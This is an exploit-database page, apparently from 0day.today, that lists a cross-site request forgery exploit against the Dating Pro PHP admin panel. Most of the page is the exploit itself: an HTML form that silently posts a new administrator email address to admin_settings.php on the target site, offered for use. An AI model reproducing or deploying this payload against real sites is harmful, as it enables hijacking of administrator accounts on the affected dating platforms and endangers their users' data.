[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Dating Pro CSRF (change e-mail address)

Author
Jonturk75
Risk
[
Security Risk Low
]
0day-ID
0day-ID-17696
Category
web applications
Date add
13-03-2012
Platform
php
# Exploit Title: Dating Pro CSRF (change e-mail address)
# Author: Jonturk75
# Vendor or Software Link: http://www.scripts.com/viewscript/dating-pro/21517/
# Category::  webapps
# Demo : http://demo.datingpro.com/dating/admin
# Greetz: Inj3ct0r Exploit DataBase 1337day.com



<form name="email_form" action="target.com/[PATH]/admin_settings.php?section=1" method="post">
<input type="hidden" name="email" value="mail@mail.com" size=30>
<a href="#" class="admin_button_major" onclick="javascript:document.email_form.submit();">Save<span>&nbps;</span></a>
</form>



#  0day.today [2024-09-28]  #